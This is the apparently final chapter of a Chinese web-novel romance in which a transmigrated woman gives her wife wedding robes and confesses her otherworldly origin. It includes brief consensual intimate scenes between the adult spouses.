“渝归姐姐……” 她声音温软,棉絮一般。 “嗯,我给你买了礼物,要不要看?” 沈惜枝茫然抬首,然后乖乖点头。 她经常有礼物拿的,所以听见妻君说给她买了礼物,也并不太过惊诧。 “咳咳,其实还没到,我就是有些期待,所以提前和你说一下。” 昏黄的灯光下,宋渝归脸莫名红了一圈。 沈惜枝愈发好奇的眨巴着大眼睛,“为什么还没到呀,你从别的地方买的吗?” “嗯,托楚姑娘买的。” 这话一出,沈惜枝就知道并非凡品了。 “什么东西呀,我想知道~” 可明明是她先提的,她先叫人感兴趣了,这时候又不愿意说,反而摇摇头,温声道,“我不告诉你。” …… 不告诉我也要说的这么温柔吗? 沈惜枝被迷的五迷三道的。 抱着妻子晃来晃去,她是很乖的性子,妻君不想说就不说,只是倚在人怀里小声要,“那你亲我一下,今晚不睡素的了好不好?” 因为店面忙碌,她们每天累的要死,吃完晚饭基本沾床就睡,很困很困了,半拉月过去,两人硬是啥也没干,纯睡素的了。 但今天,惜枝有点忍不住,她不想再睡素的,一双泠泠美眸水汪汪的,可怜兮兮望着宋渝归。 谁家女人被媳妇儿这么看能忍得住? 反正她不行,她当时就要不行了,媳妇儿一求,她也没说答不答应,已然将人扑到床上。 手伸出去在床头柜一寻,翻到许多旧衣服,熟练的都垫到惜枝屁股底下。 宋渝归低头去吮她,吮她的唇,两枚娇嫩可口的樱桃,雪白细腻的肌肤。 待处处都透着红痕了,原本扶着人肩膀的手指才一点点下移…… 连带着沈惜枝的声音也在颤,“你,你托着我点呀,要掉下去了。” 她的手勾着妻子的脖子,却越发无力,仿佛下一刻便能滑下去似的。 宋渝归老实的托住人屁股,一边托着,一边又揉了揉。 她空旷了半个多月,如今一遭被人疼爱,泪湿双眸,天鹅颈高高扬起。 呜…… 喜欢,好喜欢,喜欢她碰我的感觉…… 沈惜枝轻声哭噎着。 她舒坦她也舒坦了。 宋渝归抱着人躺下,舒舒服服的,两人没多久就睡着了。 这几天累的要命,就为了赚那点银钱。 晚秋楼一日能用半边猪肉,这还是因为桌椅少,一次只能坐六桌客人。 许多人一来见没位置了,都只好买个手抓饼带走吃。 手抓饼也是个新鲜吃食,很快在镇上打响了名声,尤其是里面的番茄酱,极受一部分人喜爱,时常有人要求多加酱的。 有了媳妇儿的店,宋渝归一天只卖半只猪,那也不必起太早了,半只猪总归都是卖的完的,寅时实在是天都没亮呢。 现在她要等天亮了再出发! 两人又好生过了几天美满日子,这天,宋渝归去店里晚了许久,都过午时了才到,一群人盯着她,她也心虚,摸摸鼻子,“刚刚有点事,所以来晚了。” 沈惜枝正好从里面出来,闻言一脸疑惑,“出什么事了吗?” 她们是妻妻,她自然想知道。 宋渝归连连摇头,“没啊,没出什么事,回去再和你说。” 一看就是妻妻间的小秘密,旁人即使好奇也没有问,只楚晚棠一脸了然,看了两人一眼,回头又见自家表姐无知无觉,笨蛋一般的神色,颇感无奈,伸手把表姐好奇看向外面的脸转回来,让她被迫看着自己,“一会儿我陪你出去玩,现在先别看了。” 她心里想的是,就不能多看看我吗? 表姐生性活泼,总是很好奇,爱动,她的视线永远不会安静的落在她身上。 一开始她还觉得不甘,但现在已经习惯了,落不落在她身上的也无所谓,只要爱她就好了,心里有她就好了。 去岁,她们离开城镇回去京城,是因为王权更迭,姨父一直是新帝一派的,当初池家与新帝一起被打压,如今局势扭转,新帝掌权,自然要请他回去辅政了,她们也跟着回去,路上却遭遇叛贼残余的党羽暗杀,表姐拼死也护着她,为她受了好多伤。 表姐嘴上不说些情爱之类的话,但她心里都知道,表姐定是喜欢她的,她也是爱她的。 罢了,只要喜欢就好了。 只要喜欢,她就什么都不求了。 楚晚棠心想着。 直到天快黑了,饭馆才关上门。 宋渝归与沈惜枝一道回去,她还记得在镇上妻君不愿与自己说的事,还没到家呢,就拿眼睛一个劲儿扫她。 宋渝归低咳一声,“你过来看看。” 沈惜枝跟去了,只见妻子从角落里拖出一个红色箱子来。 她惊喜又诧异,“呀,你买了很多吗?都要用箱子装了。” 宋渝归憨厚挠头,“也不是很多比较贵重,用箱子装稳妥一点。” “很贵吗?” 家里如今的收成很有些可观,惜枝已经不像以前那么节约害怕花钱了。 些许钱财能买妻君高兴,她也很乐意的。 “还行,和我们家的房子差不多贵。” 沈惜枝:??? 虽然我没有那么节约了,但这也不代表你能这么大方啊! 她手瞬间一抖,打开箱子的力气都没了。 眼眸不敢置信的睁大,声音也不由自主拔高,“你说多少?” 见她这副模样,宋渝归立马改口,笑眯眯道,“开玩笑的,怎么可能那么贵,你打开看看嘛,先看看。” 沈惜枝从听见价格起就要怒了,眼下她说是开玩笑的,也并未完全放下心来,小心翼翼打开了箱子,竟见里头盖着一块干净的布,她一懵,宋渝归笑眯眯,“你把布拿起来。” “哦。” 小姑娘乖乖听话。 直到布拿起来了,看见里面亮眼的红色嫁衣,顿住,这下是真不知该作何反应了。 上面绣着大朵的百合花作配,鲜艳夺目,材质更是没有摸过的好。 宋渝归含笑问身侧人,“喜欢吗,我挑了花样请楚姑娘帮我送去京城让京城里的人做的。” 沈惜枝手指轻轻摩挲在那身红嫁衣上,连稍用点力都不敢,生怕摸坏了。 “喜,喜欢。” 她一直低着头,乌黑的长发遮掩住些许神色,宋渝归看不见,但她听到了些许哭音,顿时瞪了瞪眼睛。 “你不会是要哭吧?不会吧,枝儿?” 她一边说一边把头努力往下探,试图看看惜枝到底哭没哭。 沈惜枝:…… 再多的感动也被弄没了。 她推了宋渝归一把,神情无奈又有些想笑。 宋渝归把人抱在怀里,见她感动的眼泪汪汪,心里又觉得熨帖了,“乖宝宝,要不要试试嫁衣?” “别,别这么叫我……” 那三个字她实在说不出来,又欢喜又羞耻。 宋渝归只当不知她的复杂心绪,还在温声哄她,“叫一叫怎么了我又不跑大街上叫,我就在我们自己家叫叫嘛,再说了,难道你真不喜欢我这么叫你?可是每次在床上的时候,我说你是乖宝宝,你总是吃的特别紧,我手指头都要被绞断了。” 宋渝归似抱怨道。 沈惜枝一张柔媚艳丽的小脸霎时通红通红,妻君,妻君在讲什么胡话呀! 简直是胡言乱语胡说八道,哪有这样哪有这样! 沈惜枝在心里为自己辩解,嘴上却是一句话也讲不出来的,小脸羞答答。 可爱的要命。 宋渝归愉悦的眯了眯眼睛,不再故意逗她,声音温柔婉转,“好了,你去换上这件给我看看好吗?” 沈惜枝扒着妻子的手臂,小声问,“你就买了一件吗?” “这怎么可能,自然买了两件,我的在下面。” “哦,那我要洗个澡再换,你也洗一洗。” 她们忙碌一天,身上多少出了点汗,但她不愿让汗尘沾了这衣服。 “嗯,好。” 今日的惜枝格外柔情似水,恨不得巴在妻子身子,不止洗澡不肯自己动手,就连出浴桶都是要人抱着的。 沈惜枝声音娇娇软软,粉嫩脚尖透着水润的晶莹,往下滴水,她在抱怨,“只是叫你帮我擦洗一下,你,你怎么能扒开呢……” 这下真是哪哪都被洗干净了,洗的非常干净了。 “不扒一下怎么能洗干净嘛。” 宋渝归十分不服,为自己辩解,被人瞪了一眼。 但沈惜枝只是瞪她,要说多生气,也是没有的。 两人洗了澡,才小心把华丽贵重的嫁衣取出来,下面还有一件,是宋渝归给自己买的,稍微简单一点,她把钱都花媳妇儿那件上了,但两件的料子和绣娘都是一样的。 “你看看喜不喜欢。” “这般好看,哪有不喜欢的道理。” “你喜欢最好了。” 两人换完鲜艳的嫁衣,屋里的青砖碧瓦仿佛一下子亮堂许多。 “还合身吗?我自己给你量的尺寸。” “嗯,合身!我好喜欢。”沈惜枝低头望着华丽的嫁衣,眼里是说不出的惊艳。 “喜欢就好,我送之前就怕你不喜欢。” 宋渝归垂眸道,忽而眉眼又有些温柔,“对了,我还有一事一直瞒着你,希望你知道了这件事后,无论再生气,也让我功过相抵好吗?” 沈惜枝一愣,听她说什么功过相抵一直瞒着,心中竟生起密密麻麻的不安来,什么事啊,能有什么事啊,为什么说的如此严肃,好似很严重一般。 是,是要紧的事吗? 小姑娘绞尽脑汁去想,也想不出她们间能有多要紧的事互相瞒着。 沈惜枝咬了咬唇瓣,眸光忐忑,“你,你先说呀,不要这样,我有点害怕。” 她胆子小,见妻子如此,只以为是有什么很严重的事瞒着她了。 “嗯,那我就说了。” 宋渝归深吸一口气,“这件事其实藏在我心底好几年了,我一直想找机会告诉你,你我至亲妻妻,按理说不该有所隐瞒,但……” 我那时候以为你是大反派怕是背刺我,没想到你是这么好的老婆,呜呜呜我以后再也不瞒着你任何事了。 宋渝归看着妻子的神色陡然感动起来,却把沈惜枝吓得说不出话来,声音更是不由自主拔高几分,“什么?还瞒了我好几年?” 她们在一起总共才几年啊,宋渝归大混蛋,居然瞒这样久! 她前面还有些忐忑,现在完全就是怒目而视了,像一只凶巴巴的小猫。 宋渝归咽了咽口水,握住媳妇儿小手,被媳妇儿用力甩开,也有些委屈,“那我现在不是正要和你说嘛,你先别生气啊,我以后再也不瞒着你了。” 她态度诚恳又认真,还示着弱,沈惜枝完全无法对这样的妻子生起气来,很快就鼓了鼓腮帮子,看着她闷闷道,“好啊,那你先说,你说了我再决定要不要生气。” 看起来很有挽回余地的样子。 宋渝归低咳一声,“那我就说了。” 沈惜枝做了很大的努力,脸色十分慎重,直到听见宋渝归说,“其实我不是你原本的妻子。” 她一瞬间愣住了,呆滞,然后不敢置信,眼泪迅速盈满眼眶,最后颤着身子,情绪大喜大悲下,差点没眼前一黑晕过去,声音里仍带了些许茫然,“你想与我和离?为,为什么!” 宋渝归:? 说的什么鬼东西。 但她很快也发现了自己话里的问题,连忙补救般道,“不是,我不是这个意思,不是要和离!我的意思是,我不是原本的宋渝归,我是穿越的!” 沈惜枝还沉浸在妻君刚对我好完就不要我了的悲痛中,闻言更加茫然,她一句都没听明白,呆愣愣抬头看着妻子。 宋渝归嘴角抽了抽,感觉这种东西真的很不好解释,毕竟古代没有这个概念,额……她们只知道借尸还魂。 她将人扶着坐下,看出她脸色愈加不安,小手还紧攥着她的手不肯放,生怕她跑掉一样,宋渝归的心狠狠软了一下。 这种时候,她也觉得还是和妻子离近一点更安心,不止惜枝怕她跑,难道她就不怕吗? 万一惜枝听完她的故事后以为她是鬼魂跑掉了怎么办? 宋渝归甩了甩水红色的长袖,坐在旁边,拍拍自己的膝盖,“你要坐过来吗?” 小惜枝立马点头如捣蒜,快速就坐在她腿上了,神色怯怯的,但紧紧搂着她的脖子不放,静等妻子给自己解释。 宋渝归深吸一口气,立马同媳妇儿解释起了何为穿越,又将自己现代发生的事挑着说了一二,然后告诉她,自己并不是原本的宋渝归,只是因为大半夜不睡觉不慎穿书的。 沈惜枝不算笨,但她仍花了很久的时间试图理解妻子说的话。 最后还是宕机了,说的什么,听不懂,啊!我怎么能听不懂! 枝枝崩溃。 宋渝归十分有耐心的抱着人,与她一遍一遍解释这件事,对方的任何疑问她都回答了。 最后沈惜枝呆滞成了一只伤心小猫,连嘴唇都是颤抖的,“你的意思是,你不是我的妻子,你原本是另一个地方的人,莫名其妙来到这里,成为了我妻子的,取代了原本那个?” 沈惜枝是再寻常不过的乡下女子,她根本不敢想世上竟有如此离奇之事。 “嗯,是这样没错。” “那,那原本那个去哪了?” 沈惜枝一开始有些急切问,但忽然又皱了皱眉,不高兴道,“算了,管她去哪了,不回来就好。” 她不敢相信这样的事,可当事情真摆在面前时,又立马认了,只要是她就好了。 “怪不得,怪不得你忽然对我这么好。” 两人直到午夜才说通了,两条嫁衣铺满整张床榻,她们一左一右躺在一起,沈惜枝还有些惶惶不安,凑近宋渝归小声问她,“那在你看的小说里,我最后怎么样了呀。” 这她是真不乐意说,当即就沉默了,只是侧过身子把媳妇儿拉进怀里,一下接一下的揉她后脑勺,温柔到不行。 沈惜枝嘟了嘟唇瓣,轻哼,“你不说我也知道,肯定是死了,没有你在,活着也没意思。” 她一下就猜中了自己的结局,反而让宋渝归有些怔愣,好一会儿,伸手抱了抱媳妇儿,将脸埋在她身上,“这次不会了。” “嗯,我知道的。” 沈惜枝怕死,一直很怕死,但在尝过极致的甜味后,她又觉得死没有那么可怕了,如果妻君不在,世上没有一个人待她好,那倒不如是死了干净。 妻君在,活着才有意思,她不要一个人活,她要跟妻君一起活。 “所以小说里,池姑娘是与宋星川在一起了吗?” “嗯。” “我也喜欢宋星川吗?” 小姑娘仰着脖子问。 宋渝归又应了一声,她瞬间嘟了嘟嘴,不太高兴的样子,“怪不得你不喜欢我与宋星川说话,原来是怕我被骗了!” 她已经认定宋星川是个骗子了,若不然,明明那般爱重楚姑娘的人,怎会弃清雅端方的楚姑娘不要,去选宋星川,定是被宋星川欺骗了。 见媳妇儿上道,宋渝归忙跟着连连点头,“没错,就是这样,那宋星川看着便不是什么好人,好色之徒,贪花恋色,我一开始真是唯恐你喜欢上他。” 沈惜枝露出一脸如吃苍蝇的神情,“妻君不要说那么恶心的话,我才不会呢。” “嗯嗯,是我说错了,小枝儿只喜欢我。” 宋渝归凑近去亲她的脸,沈惜枝侧首,软软回吻。 “你方才说有事情瞒了我好几年,我都要吓死了,就怕是什么大事,早知是这桩事,我又如何会怪你。” 她就说嘛,那个宋渝归如村里的癞皮狗一样缠着女子,怎能和我的妻子相提并论! “我怕你将我当做山间精怪嘛。” 宋渝归挠了挠后脑勺,她一开始怕大反派背刺她,后来亲热过了,心动了,爱上了,倒是不怕背刺了,可偏偏又不知道该怎么说,生怕被人误会什么,或者是生气她的隐瞒。 还好,都没有,她的妻子靠在她怀里,温温柔柔说了一夜还好你来了的话。 【正文完】【你现在阅读的是 】